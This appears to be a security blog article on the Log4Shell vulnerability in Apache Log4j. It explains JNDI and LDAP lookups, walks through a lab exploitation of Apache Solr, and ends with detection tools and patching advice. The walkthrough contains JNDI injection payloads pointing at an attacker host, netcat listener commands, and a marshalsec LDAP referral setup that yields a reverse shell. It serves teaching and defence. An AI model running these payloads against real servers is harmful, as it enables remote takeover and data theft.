The Apache Log4j vulnerability “Log4Shell’ has been one of the most recent and severe exposures to date. The exploit’s success has mainly stemmed from Log4j’s widespread use as an open-source logging utility in systems reliant on Java packages.
Since its discovery on 9th December 2021, Log4Shell remains a topic for concern due to the lingering presence of unpatched web-facing servers and applications of organizations. A recent study by Rezilion on 26th April 2022, has found over 90,000 web applications and 68,000 internet facing servers remain vulnerable to Log4Shell. Therefore, website owners and security teams must consistently assess their digital software supply chain to ensure cyber-resilience from recent exploits.
What is the Log4j vulnerability?
The CVE-2021-44228 RCE vulnerability also known as “Log4Shell” was first discovered on 9th December 2021. It allows for remote code execution in the system using the Apache Log4j library. This Java library is an open-source tool and used in many commercial software products to log security and performance information.
The Log4j library allows different levels of customization. The levels are ranked as follows. TRACE, DEBUG, INFO, WARN, ERROR AND FATAL. The user can set a particular log level and messages will be logged for that level and above it. For e.g. If the logging level is set to ERROR, the messages that are logged will be ERROR and FATAL. For more information, please visit: http://www.avajava.com/tutorials/lessons/what-is-log4j-and-how-do-i-use-it.html
Impact
An attacker can exploit the Log4Shell by keying a specific request to the vulnerable system to execute the arbitrary code. This arbitrary code can be loaded from LDAP servers when message lookup substitution is enabled.
This request can allow the attacker to take full control of the system. Once full control is established, other malicious activities such as stealing of sensitive information and installing malicious malware can be performed.
What is the Java Naming and Directory Interface (JNDI)?
JNDI is an application programming interface that provides directory services which allows Java software users to call and query resources via a name, which is being done both locally and over a network.
The JNDI feature does not protect against attacker-controlled LDAP and other JNDI related endpoints. In one of the findings, Log4j was discovered to have string vulnerabilities which are not just limited to plain strings. Text strings that are formatted in a certain way and passed into the logging cells will evaluate the ${jndi:ldap://…}
sequence and can lead to remote code execution. This allows an attacker to manipulate the system without the owner’s permission.
What is LDAP? (Lightweight Directory Access Protocol)
One of the JDNI directory services includes LDAP. LDAP protocol is a way for clients to send requests and receive responses from directory services. The data that are stored in LDAP server is based on X.500 (A common computer networking standards used in electronic directory services)
Therefore, Log4j can access directory services, like LDAP by using the naming service interface of JNDI.
Any systems and services that use Apache Log4j between version 2.0 and 2.16 (inclusive) will be affected.
Only software applications that are using Log4j Core JAR files are affected by this vulnerability. Log4j is the only logging services sub-project impacted by this vulnerability. Other projects such as Log4net and log4cxx are not affected.
The base CVSS score has been rated as 10.0/10.0. It has the highest possibility of being exploited by a remote attacker to get Log4j to execute arbitrary code. For more information, please visit: https://logging.apache.org/log4j/2.x/security.html
Proof of concept
The illustration above shows how exploitation could happen. The breakdown is as follows:
- Run the command
${jndi:ldap://attackerserver:1389/Resource}
to connect to the LDAP referral server. - LDAP referral server redirects the request to a secondary HTTP server.
- Send the exploit code to the victim machine to establish a reverse shell connection
First, a package that uses the Log4j library needs to be installed in the victim machine. By installing Apache Solr 8.11.0, it comes with the Log4j package.
Examining the log files in Apache Solr 8.11.0 reveals how the exploit can be done. What was shown below indicates that params
can be a data entry point that a user could control.
Launch a terminal and prepare the netcat listener:
nc -lnvp 9999
nc-netcat
l-listening
n-no dns, ip address only
v-verbose
p-port specify after the switch
Launch another terminal, input the JNDI payload syntax as part of the HTTP parameters.
curl ‘http://:8983/solr/admin/cores?foo=
$\{jndi:ldap://:9999\}’
The JNDI syntax can be used to access external resources. (Note: The default port for running Solr is 8993)
Once a connection is established, it will show the following message.
Connect to [Attacker IP Address] from (UNKNOWN) [Victim Machine IP Address] 37182
Based on the image above, the LDAP request is shown but it is all non-printable characters. The steps above show that the reverse shell connection can happen by exploiting the vulnerability.
Next, we need to connect to a LDAP referral server to prepare for a payload to take control of the victim’s computer.
Exploitation
A java deserialization tool such as marshalsec can be used to set up the LDAP referral server. This server will redirect the initial request to a secondary server that can host the payload to run code on the target.
Before the utility can be installed, it needs to run Java 8 which can be downloaded and installed at: http://mirrors.rootpei.com/jdk/
Choose the jdk-8u181-linux-x64.tar.gz
package and download to the local machine. Run the following commands to configure the system to use Java 8.
Create a folder to unzip the file
sudo mkdir /usr/lib/jvm
Go to the directory that was setup
cd /usr/lib/jvm
Unzip the file and modify the path accordingly
sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz
Run the following commands to set the filesystem settings
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1
sudo update-alternatives –install “/usr/bin/javac” “javac” “/usr/lib/jvm/jdk1.8.0_181/bin/javac” 1
sudo update-alternatives –install “/usr/bin/javaws” “javaws” “/usr/lib/jvm/jdk1.8.0_181/bin/javaws” 1
sudo update-alternatives –set java /usr/lib/jvm/jdk1.8.0_181/bin/java
sudo update-alternatives –set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac
sudo update-alternatives –set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
Verify the java version, which should now be Java 1.8.0_181
java-version
Install Git into the local machine. (Ignore this step if you have Git installed. Git need to be installed to clone git repository)
sudo apt install git
Clone the repository in a system location of your choice
git clone https://github.com/mbechler/marshalsec
Change the directory to marshalsec folder:
cd marshalsec
Build marshalsec utility with the Java builder maven.
sudo apt install maven
Next, install the marshalsec utility
mvn clean package -DskipTests
Ensure the marshalsec utility has been built successfully as shown below.
Next, start the LDAP referral server to direct connections to the secondary HTTP server.
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://:8000/#Exploit"
The output of the command below is shown below. Now the LDAP server is up and waiting to redirect the connection.
Open a second terminal to prepare for the final payload and launch the secondary HTTP server.
Create the payload in a java editor. The log4j vulnerability will execute the code and establish a reverse shell connection from the secondary HTTP server.
Compile the payload with the following command
javac Exploit.java -source 8 -target 8
A HTTP server will be launched at this point to host the payload. Run the following command.
python3 -m http.server
Open another terminal window to prepare a netcat listener to catch the reverse shell
nc -lnvp 9999
Lastly, trigger the exploit and launch the JNDI syntax. The port 1389 is an unprivileged port for LDAP communication. Now it is pointing to the LDAP server.
curl 'http://:8983/solr/admin/cores?foo=
$\{jndi:ldap://:1389/Exploit\}'
Now the attacker has access to the victim’s machine.
Once the attacker has access to the system, it can change the user password without any restriction. (Provided it has super user privileges). After which, it can login using SSH with the username and the new password.
Proof of concept and exploitation referenced from https://tryhackme.com/room/solar
Detection
This command-line utility tool developed by Lunasec can be used for Mac, Windows, and Linux. It can check your project’s dependencies and report if any are vulnerable. It is available here: https://github.com/lunasec-io/lunasec/releases/
These commands and rules help to search for exploitation attempts against log4j RCE vulnerability CVE-2021-44228. It is available here: https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
Searching for Log4Shell vulnerability using PowerShell:
https://github.com/omrsafetyo/PowerShellSnippets/blob/master/Invoke-Log4ShellScan.ps1
If the following hashes are found in the system, administrators may consider updating to the latest patch immediately.
https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes
(Note: As with all open-source software, please note that you are using these tools at your own risk)
Mitigation
Check the presence of the Log4j library and update to the latest version.
Deploy Web Application Firewall (WAFs) with rules applied to block URLs containing malicious strings such as “jndi:ldap”. Set restrictions to outbound traffic to prevent Log4j servers from communicating and attempt to download malicious payloads from the internet.
After the vulnerability was discovered, Apache released the Log4j 2.15.0 which disabled the message lookups feature by default. However, lookups in the configuration still works and the user has the option to enable lookups in that file. Users have been strongly advised not to enable it. A whitelisting mechanism was also introduced for JNDI connections, which allows only localhost by default.
Subsequently, many other versions were introduced as new vulnerabilities were discovered. The CVEs that were found are CVE-2021-45046, CVE-2021-45105, CVE-2021-44832.
At the time of this writing, the latest versions are Log4j 2.17.1 (Java 8), 2.12.4 (Java 7) and 2.3.2 (Java 6). From these versions onwards, JDBC Appender will use JndiManager and will require the log4j2.enableJndiJdbc system property to contain a value of true to enable JNDI. The functionality of JNDI has been hardened to the point that only the JAVA protocol is supported in JNDI connections.
1.x versions are no longer supported by Apache. It is highly recommended to update Log4j to 2.x version. The patch is available to download here: https://logging.apache.org/log4j/2.x/download.html
AWS has also come up with resources to mitigate the Log4j vulnerability. For more information, please visit: https://aws.amazon.com/blogs/publicsector/aws-resources-to-address-apache-log4j-vulnerabilities/
Resources
- https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance
- https://www.rapid7.com/blog/post/2021/12/15/the-everypersons-guide-to-log4shell-cve-2021-44228/
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
- https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
- https://www.csa.gov.sg/en/singcert/Alerts/al-2021-070
- https://www.randori.com/blog/cve-2021-44228/
- https://www.mandiant.com/resources/log4shell-recommendations
- https://www.infoworld.com/article/3644492/how-to-detect-the-log4j-vulnerability-in-your-applications.html